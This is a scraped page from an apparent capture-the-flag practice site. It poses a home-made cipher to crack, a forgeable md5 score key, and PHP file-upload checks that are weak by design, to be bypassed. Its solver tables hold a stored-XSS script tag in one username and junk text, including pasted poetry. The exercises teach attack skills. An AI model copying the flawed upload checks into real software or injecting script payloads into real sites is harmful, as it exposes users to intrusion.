aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | 2024-10-30 14:41:52 |
| ^ super sorry about that, was testing your length limits.. | 2024-10-30 14:42:18 |
| samkaj | 2024-12-30 16:01:31 |
| alphacentauri | 2025-01-25 09:45:29 |
| j | 2025-03-31 14:58:56 |
Crypto people are really smart, no surprise, but they are also very business savvy. As soon as someone comes up with a brilliant crypto system they scream "Don't roll your own crypto!", keeping the market to themselves.
"No more!" said this developer and rolled their own crypto. Are the crypto people right again? Can you crack it?
It was all packed nicely as HTML+JavaScript with a nice popup for the password: denisa.html (The code does not initialize any external network communication)
Below is a snippet of the crypto code responsible for the decryption. It's not enough to solve the challenge but might present some weaknesses.
passnum = orig.length % password.length;
for(i=orig.length-1; i>=0; i--) {
passnum--;
if (passnum == -1) passnum = password.length - 1;
pos1 = i;
pos2 = i + password[passnum];
if (pos2 >= orig.length) continue;
char1 = orig[pos1];
char2 = orig[pos2];
orig[pos2] = char1;
orig[pos1] = char2;
}
orig1 = "";
for(i=0;i<orig.length;i++) {
orig1 = orig1 + orig[i];
}
orig1 = orig1.replace(/mmm/g,"\r\n");
Solvers:
| Username | Date |
|---|---|
| Q | 2022-03-22 15:42:04 |
| Peptski | 2022-03-26 16:24:59 |
| φ | 2022-03-26 23:32:29 |
| Intel® HD Graphics | 2022-03-29 13:41:45 |
| Assured | 2022-05-14 20:30:09 |
| PotatoKingTheVII | 2022-06-17 21:00:17 |
| ludde | 2023-03-20 12:42:26 |
| Corgo | 2023-04-24 00:56:39 |
| labas | 2025-04-02 15:18:18 |
| hao honey | 2025-04-08 12:25:20 |
You're playing a really hard flappy bird JavaScript clone and you really want to impress your crush with a nice high score. However, you are terrible at the game. Luckily you are better at reverse engineering and cryptography!
At the end of the game, the client sends three values to the server, score, time and the key, where key is calculated as:
key = md5(secretString + score + time) The secretString is a shared secret between the client and server. But due to
some amazing obfuscation work, you do not know the value of secretString.
You can further assume that secretString is a long random string that cannot be bruteforced.
First time you played the game it took over 5 minutes (345 seconds) to get a score of 12. Resulting in the following request:
Can you modify the request to get over 100 points?
Solvers:
| Username | Date |
|---|---|
| grocid | 2021-08-28 18:34:10 |
| GoldFish | 2021-11-20 15:54:43 |
| Peptski | 2022-03-21 18:07:17 |
| Q | 2022-03-22 11:32:13 |
| φ | 2022-03-23 18:17:41 |
| Intel® HD Graphics | 2022-03-28 15:55:48 |
| nightmorning | 2022-03-29 07:34:32 |
| Assured | 2022-05-09 23:07:35 |
| PotatoKingTheVII | 2022-06-17 15:45:49 |
| TITANPOINTE | 2022-08-22 16:30:11 |
| h | 2022-11-02 02:07:58 |
| har-ee | 2022-11-02 21:47:25 |
| ludde | 2023-03-20 12:43:20 |
| monk | 2023-03-22 03:26:54 |
| divisionby0 | 2023-03-22 15:02:55 |
| alax | 2023-04-03 12:37:43 |
| Corgo | 2023-04-24 00:00:48 |
| Mary P0ppins | 2023-05-27 15:26:18 |
| Simon Goater | 2023-07-22 12:37:47 |
| alphac | 2024-03-26 21:05:33 |
| Saile | 2024-05-10 12:52:32 |
| kalleballe | 2024-05-13 15:04:29 |
| j | 2025-03-31 15:13:13 |
| samkaj | 2025-04-02 13:41:42 |
Picking a good photo for your dating profile is tricky. You need to think about lightning, background, etc. But perhaps most important is the file extension. A classic .jpg? A transparent .png? Or maybe a funny .gif? Perhaps a .php file? 😈
Well, this site only allows a few extensions, as can be seen in the validation code below:
$filename = basename($_FILES["file"]["name"]);
$ext = explode(".", $filename)[1];
if( !($ext == "jpg" || $ext == "png" || $ext == "gif") ) {
die("Only jpg, png and gif are allowed!");
}
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| SimonGoater | 2021-07-16 13:18:19 |
| Augmenta<script>alert("your solution for challenge 1 is flawed, it should accept all typable characters. Also, stored XSS lol.")</script> | 2021-09-06 03:35:44 |
| x | 2021-09-06 04:30:36 |
| Goldfish | 2021-11-20 15:58:57 |
| Peptski | 2022-03-21 18:09:44 |
| Q | 2022-03-22 11:35:45 |
| φ | 2022-03-23 18:54:45 |
| Intel® HD Graphics | 2022-03-28 15:58:23 |
| nightmorning | 2022-03-29 07:39:01 |
| Koftan | 2022-03-31 21:51:42 |
| ph.mikey | 2022-04-15 21:52:06 |
| Assured | 2022-05-09 23:40:56 |
| GreenPenguin | 2022-05-11 11:58:38 |
| Steget | 2022-05-11 12:00:12 |
| dab | 2022-05-11 12:38:27 |
| PotatoKingTheVII | 2022-06-17 14:37:46 |
| TITANPOINTE | 2022-08-18 21:20:17 |
| corgo | 2022-08-29 22:52:20 |
| 727 | 2022-09-21 21:13:03 |
| har-ee | 2022-11-02 21:48:49 |
| Grybto | 2022-12-01 12:57:21 |
| ludde | 2023-03-20 12:51:12 |
| Nonzero | 2023-03-20 14:33:21 |
| shyhungalpha | 2023-03-20 22:22:40 |
| AT | 2023-03-23 23:49:12 |
| LS | 2023-03-28 07:37:28 |
| F | 2023-03-28 08:19:45 |
| alax | 2023-04-03 12:49:21 |
| Bear | 2023-04-26 08:57:44 |
| Ziyan | 2023-04-27 12:36:58 |
| bloop | 2023-05-09 17:51:42 |
| leo | 2023-05-11 13:04:06 |
| Mary P0ppins | 2023-05-11 15:52:29 |
| hi | 2023-05-12 14:52:18 |
| test456 | 2023-05-18 18:30:09 |
| test123 | 2023-05-18 18:32:45 |
| pinekiller | 2023-05-18 19:10:55 |
| test1 | 2023-05-22 11:45:13 |
| aafan | 2023-05-26 10:10:52 |
| Pansy | 2023-05-26 10:11:34 |
| pågjøvikharvidetbra | 2023-05-26 10:14:47 |
| ehsun | 2023-10-11 14:44:53 |
| omstaendlig | 2024-03-03 08:21:28 |
| alphac | 2024-03-25 20:40:26 |
| ahlinder | 2024-04-11 11:28:17 |
| encryption | 2024-04-22 09:24:11 |
| ali | 2024-04-22 09:24:42 |
| William | 2024-04-22 13:51:06 |
| Jacob | 2024-04-23 12:09:53 |
| theAndrew | 2024-04-29 06:31:45 |
| Deaa | 2024-04-30 02:03:43 |
| KodakDaniel | 2024-05-06 06:40:06 |
| omar | 2024-05-06 09:00:33 |
| kalleballe | 2024-05-08 09:02:25 |
| group31 | 2024-05-08 12:08:56 |
| solobolo | 2024-05-08 14:54:23 |
| HannesRL | 2024-05-08 17:05:48 |
| hello | 2024-05-09 08:57:07 |
| pg | 2024-05-09 08:57:18 |
| kris | 2024-05-09 14:06:09 |
| Svenjamin | 2024-05-09 15:40:49 |
| Hello World | 2024-05-09 16:49:16 |
| s | 2024-05-09 17:57:34 |
| Seffel | 2024-05-09 19:28:31 |
| Saile | 2024-05-09 22:44:24 |
| Tester | 2024-05-10 09:02:07 |
| Erra | 2024-05-10 11:25:06 |
| tknz | 2024-05-10 11:30:39 |
| yunpeng | 2024-05-10 11:54:11 |
| a | 2024-05-10 11:58:08 |
| liang | 2024-05-10 14:06:52 |
| nerding-on-a-friday | 2024-05-10 20:44:48 |
| forsen | 2024-05-15 04:44:42 |
| Cccc | 2024-05-23 11:49:40 |
| L | 2024-05-28 21:36:45 |
| test | 2024-05-30 07:30:12 |
| T | 2024-06-02 21:37:48 |
| samkaj | 2024-11-12 21:00:00 |
| notjack | 2025-01-25 09:44:04 |
| nameelast | 2025-02-18 18:11:22 |
| jkjkkh | 2025-02-18 18:29:29 |
| 平行六面体 | 2025-03-29 22:17:04 |
| j | 2025-03-31 15:15:25 |
| Gustavus Adolphus | 2025-04-01 10:16:37 |
| 2025-04-02 09:17:04 | |
| Skapa en sömlös gräns mellan din interiör och exteriör. Tanken är att uteplatsen ska kännas som en naturlig förlängning av ditt hem och att utemiljön ska bli en plats där du vill tillbringa mycket av din tid. Det ger energi åt både kropp och själ. | 2025-04-16 12:55:13 |
After breaking the extension check in the previous challenge, the developers decided to skip the extension check and instead go for a solid and secure type check.
The code below is used to block any non-image upload:
$type = $_FILES['file']['type'];
if( !($type == "image/jpeg" || $type == "image/png" || $type == "image/gif") ) {
die("Wrong file type, only images allowed!");
}
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| Augmenta | 2021-09-06 03:40:30 |
| Q | 2022-03-22 12:19:16 |
| φ | 2022-03-23 19:49:33 |
| Peptski | 2022-03-25 17:21:59 |
| Intel® HD Graphics | 2022-03-28 16:26:20 |
| nightmorning | 2022-03-30 11:27:25 |
| PotatoKingTheVII | 2022-06-17 15:00:01 |
| TITANPOINTE | 2022-08-19 07:27:57 |
| Assured | 2022-08-23 20:47:03 |
| har-ee | 2022-11-02 21:52:24 |
| Grybto | 2022-12-06 10:05:51 |
| ludde | 2023-03-20 12:57:56 |
| AT | 2023-03-24 16:10:48 |
| AN | 2023-03-24 16:27:49 |
| shyhungalpha | 2023-03-27 19:12:39 |
| LS | 2023-03-28 08:50:33 |
| F | 2023-03-28 09:11:26 |
| alax | 2023-04-04 14:24:25 |
| Corgo | 2023-04-24 00:01:58 |
| Bear | 2023-04-26 10:00:19 |
| Ziyan | 2023-04-27 19:24:05 |
| WOOP | 2023-05-09 15:51:18 |
| g | 2023-05-09 15:52:25 |
| bloop | 2023-05-09 19:22:35 |
| mr hackerman | 2023-05-09 19:23:27 |
| leo | 2023-05-11 14:51:02 |
| Mary P0ppins | 2023-05-11 16:44:46 |
| wizzer | 2023-05-18 14:09:15 |
| firefox | 2023-05-18 17:31:57 |
| pinekiller | 2023-05-18 20:22:54 |
| test111222 | 2023-05-22 07:18:10 |
| ehsun | 2023-10-11 15:04:59 |
| alphac | 2024-03-26 15:00:49 |
| ahlinder | 2024-04-19 12:15:38 |
| William | 2024-04-23 10:37:01 |
| Test | 2024-04-23 10:38:39 |
| Test2 | 2024-04-23 11:10:48 |
| Jacob | 2024-04-23 13:22:27 |
| 2024-04-23 18:05:39 | |
| Ali | 2024-04-23 18:06:33 |
| test11 | 2024-05-03 17:48:15 |
| Deaa | 2024-05-04 16:47:06 |
| KodakDaniel | 2024-05-06 06:46:07 |
| yunpeng | 2024-05-06 20:13:47 |
| 0PNG | 2024-05-07 17:51:26 |
| kalleballe | 2024-05-08 09:32:27 |
| sylt | 2024-05-08 12:39:31 |
| grp31 | 2024-05-08 13:03:58 |
| TEEST | 2024-05-08 13:57:13 |
| tr | 2024-05-08 13:59:12 |
| pg | 2024-05-09 09:09:36 |
| tim | 2024-05-09 11:11:13 |
| yessir | 2024-05-09 15:41:49 |
| Svenjamin | 2024-05-09 16:43:46 |
| Seffel | 2024-05-09 21:04:09 |
| Saile | 2024-05-09 22:50:44 |
| kris | 2024-05-10 07:55:47 |
| 58 | 2024-05-10 08:41:58 |
| halli | 2024-05-10 08:56:25 |
| Erra | 2024-05-10 12:09:19 |
| tknz | 2024-05-10 13:06:13 |
| a | 2024-05-10 13:59:55 |
| b | 2024-05-10 14:26:26 |
| liang | 2024-05-10 14:29:00 |
| Tester | 2024-05-10 15:54:47 |
| mmmm | 2024-05-10 17:13:10 |
| wwwww | 2024-05-10 17:26:10 |
| nerding-on-a-friday | 2024-05-11 12:58:53 |
| nerding-on-a-saturday | 2024-05-11 13:11:26 |
| forsen | 2024-05-15 05:39:21 |
| eric2 | 2024-05-21 07:19:47 |
| eric3 | 2024-05-21 07:23:08 |
| Hello World | 2024-05-21 10:51:47 |
| Test1 | 2024-05-30 14:48:47 |
| L | 2024-05-30 17:47:37 |
| gr33 | 2024-05-30 22:11:52 |
| MA | 2024-06-12 12:54:13 |
| MAA | 2024-06-12 13:14:07 |
| samkaj | 2024-11-13 07:32:36 |
| testname | 2024-11-16 12:50:20 |
| Anajrim | 2025-02-18 19:48:00 |
| AliShereef | 2025-03-01 21:01:07 |
| sLmbS | 2025-03-29 23:30:29 |
| 平行六面体 | 2025-03-29 23:35:01 |
| labas | 2025-04-01 01:02:10 |
| Gustavus Adolphus | 2025-04-01 10:25:44 |
| 2025-04-02 09:44:03 | |
| I. The Burial of the Dead April is the cruellest month, breeding Lilacs out of the dead land, mixing Memory and desire, stirring Dull roots with spring rain. Winter kept us warm, covering Earth in forgetful snow, feeding A little life with dried tubers. Summer surprised us, coming over the Starnbergersee With a shower of rain; we stopped in the colonnade, And went on in sunlight, into the Hofgarten, And drank coffee, and talked for an hour. Bin gar keine Russin, stamm’ aus Litauen, echt deutsch. And when we were children, staying at the archduke’s, My cousin’s, he took me out on a sled, And I was frightened. He said, Marie, Marie, hold on tight. And down we went. In the mountains, there you feel free. I read, much of the night, and go south in the winter. What are the roots that clutch, what branches grow Out of this stony rubbish? Son of man, You cannot say, or guess, for you know only A heap of broken images, where the sun beats, And the dead tree gives no shelter, the cricket no relief, And the dry stone no sound of water. Only There is shadow under this red rock, (Come in under the shadow of this red rock), And I will show you something different from either Your shadow at morning striding behind you Or your shadow at evening rising to meet you; I will show you fear in a handful of dust. Frisch weht der Wind Der Heimat zu Mein Irisch Kind, Wo weilest du? ‘You gave me hyacinths first a year ago; ‘They called me the hyacinth girl.’ —Yet when we came back, late, from the Hyacinth garden, Your arms full, and your hair wet, I could not Speak, and my eyes failed, I was neither Living nor dead, and I knew nothing, Looking into the heart of light, the silence. Oed’ und leer das Meer. Madame Sosostris, famous clairvoyante, Had a bad cold, nevertheless Is known to be the wisest woman in Europe, With a wicked pack of cards. Here, said she, Is your card, the drowned Phoenician Sailor, (Those are pearls that were his eyes. Look!) Here is Belladonna, the Lady of the Rocks, The lady of situations. Here is the man with three staves, and here the Wheel, And here is the one-eyed merchant, and this card, Which is blank, is something he carries on his back, Which I am forbidden to see. I do not find The Hanged Man. Fear death by water. I see crowds of people, walking round in a ring. Thank you. If you see dear Mrs. Equitone, Tell her I bring the horoscope myself: One must be so careful these days. Unreal City, Under the brown fog of a winter dawn, A crowd flowed over London Bridge, so many, I had not thought death had undone so many. Sighs, short and infrequent, were exhaled, And each man fixed his eyes before his feet. Flowed up the hill and down King William Street, To where Saint Mary Woolnoth kept the hours With a dead sound on the final stroke of nine. There I saw one I knew, and stopped him, crying: 'Stetson! ‘You who were with me in the ships at Mylae! ‘That corpse you planted last year in your garden, ‘Has it begun to sprout? Will it bloom this year? ‘Or has the sudden frost disturbed its bed? ‘Oh keep the Dog far hence, that’s friend to men, ‘Or with his nails he’ll dig it up again! ‘You! hypocrite lecteur!—mon semblable,—mon frère!” II. A Game of Chess The Chair she sat in, like a burnished throne, Glowed on the marble, where the glass Held up by standards wrought with fruited vines From which a golden Cupidon peeped out (Another hid his eyes behind his wing) Doubled the flames of sevenbranched candelabra Reflecting light upon the table as The glitter of her jewels rose to meet it, From satin cases poured in rich profusion; In vials of ivory and coloured glass Unstoppered, lurked her strange synthetic perfumes, Unguent, powdered, or liquid—troubled, confused And drowned the sense in odours; stirred by the air That freshened from the window, these ascended In fattening the prolonged candle-flames, Flung their smoke into the laquearia, Stirring the pattern on the coffered ceiling. Huge sea-wood fed with copper Burned green and orange, framed by the coloured stone, In which sad light a carvéd dolphin swam. Above the antique mantel was displayed As though a window gave upon the sylvan scene The change of Philomel, by the barbarous king So rudely forced; yet there the nightingale Filled all the desert with inviolable voice And still she cried, and still the world pursues, ‘Jug Jug’ to dirty ears. And other withered stumps of time Were told upon the walls; staring forms Leaned out, leaning, hushing the room enclosed. Footsteps shuffled on the stair. Under the firelight, under the brush, her hair Spread out in fiery points Glowed into words, then would be savagely still. ‘My nerves are bad tonight. Yes, bad. Stay with me. Speak to me. Why do you never speak. Speak. What are you thinking of? What thinking? What? I never know what you are thinking. Think.’ I think we are in rats’ alley Where the dead men lost their bones. ‘What is that noise?’ The wind under the door. ‘What is that noise now? What is the wind doing?’ Nothing again nothing. ‘Do ‘You know nothing? Do you see nothing? Do you remember ‘Nothing?’ I remember Those are pearls that were his eyes. ‘Are you alive, or not? Is there nothing in your head?’ But O O O O that Shakespeherian Rag— It’s so elegant So intelligent ‘What shall I do now? What shall I do?’ ‘I shall rush out as I am, and walk the street ‘With my hair down, so. What shall we do tomorrow? ‘What shall we ever do?’ The hot water at ten. And if it rains, a closed car at four. And we shall play a game of chess, Pressing lidless eyes and waiting for a knock upon the door. When Lil’s husband got demobbed, I said— I didn’t mince my words, I said to her myself, HURRY UP PLEASE ITS TIME Now Albert’s coming back, make yourself a bit smart. He’ll want to know what you done with that money he gave you To get yourself some teeth. He did, I was there. You have them all out, Lil, and get a nice set, He said, I swear, I can’t bear to look at you. And no more can’t I, I said, and think of poor Albert, He’s been in the army four years, he wants a good time, And if you don’t give it him, there’s others will, I said. Oh is there, she said. Something o’ that, I said. Then I’ll know who to thank, she said, and give me a straight look. HURRY UP PLEASE ITS TIME If you don’t like it you can get on with it, I said. Others can pick and choose if you can’t. But if Albert makes off, it won’t be for lack of telling. You ought to be ashamed, I said, to look so antique. (And her only thirty-one.) I can’t help it, she said, pulling a long face, It’s them pills I took, to bring it off, she said. (She’s had five already, and nearly died of young George.) The chemist said it would be all right, but I’ve never been the same. You are a proper fool, I said. Well, if Albert won’t leave you alone, there it is, I said, What you get married for if you don’t want children? HURRY UP PLEASE ITS TIME Well, that Sunday Albert was home, they had a hot gammon, And they asked me in to dinner, to get the beauty of it hot— HURRY UP PLEASE ITS TIME HURRY UP PLEASE ITS TIME Goonight Bill. Goonight Lou. Goonight May. Goonight. Ta ta. Goonight. Goonight. Good night, ladies, good night, sweet ladies, good night, good night. III. The Fire Sermon The river’s tent is broken: the last fingers of leaf Clutch and sink into the wet bank. The wind Crosses the brown land, unheard. The nymphs are departed. Sweet Thames, run softly, till I end my song. The river bears no empty bottles, sandwich papers, Silk handkerchiefs, cardboard boxes, cigarette ends Or other testimony of summer nights. The nymphs are departed. And their friends, the loitering heirs of City directors; Departed, have left no addresses. By the waters of Leman I sat down and wept . . . Sweet Thames, run softly till I end my song, Sweet Thames, run softly, for I speak not loud or long. But at my back in a cold blast I hear The rattle of the bones, and chuckle spread from ear to ear. A rat crept softly through the vegetation Dragging its slimy belly on the bank While I was fishing in the dull canal On a winter evening round behind the gashouse Musing upon the king my brother’s wreck And on the king my father’s death before him. White bodies naked on the low damp ground And bones cast in a little low dry garret, Rattled by the rat’s foot only, year to year. But at my back from time to time I hear The sound of horns and motors, which shall bring Sweeney to Mrs. Porter in the spring. O the moon shone bright on Mrs. Porter And on her daughter They wash their feet in soda water Et O ces voix d’enfants, chantant dans la coupole! Twit twit twit Jug jug jug jug jug jug So rudely forc’d. Tereu Unreal City Under the brown fog of a winter noon Mr. Eugenides, the Smyrna merchant Unshaven, with a pocket full of currants C.i.f. London: documents at sight, Asked me in demotic French To luncheon at the Cannon Street Hotel Followed by a weekend at the Metropole. At the violet hour, when the eyes and back Turn upward from the desk, when the human engine waits Like a taxi throbbing waiting, I Tiresias, though blind, throbbing between two lives, Old man with wrinkled female breasts, can see At the violet hour, the evening hour that strives Homeward, and brings the sailor home from sea, The typist home at teatime, clears her breakfast, lights Her stove, and lays out food in tins. Out of the window perilously spread Her drying combinations touched by the sun’s last rays, On the divan are piled (at night her bed) Stockings, slippers, camisoles, and stays. I Tiresias, old man with wrinkled dugs Perceived the scene, and foretold the rest— I too awaited the expected guest. He, the young man carbuncular, arrives, A small house agent’s clerk, with one bold stare, One of the low on whom assurance sits As a silk hat on a Bradford millionaire. The time is now propitious, as he guesses, The meal is ended, she is bored and tired, Endeavours to engage her in caresses Which still are unreproved, if undesired. Flushed and decided, he assaults at once; Exploring hands encounter no defence; His vanity requires no response, And makes a welcome of indifference. (And I Tiresias have foresuffered all Enacted on this same divan or bed; I who have sat by Thebes below the wall And walked among the lowest of the dead.) Bestows one final patronising kiss, And 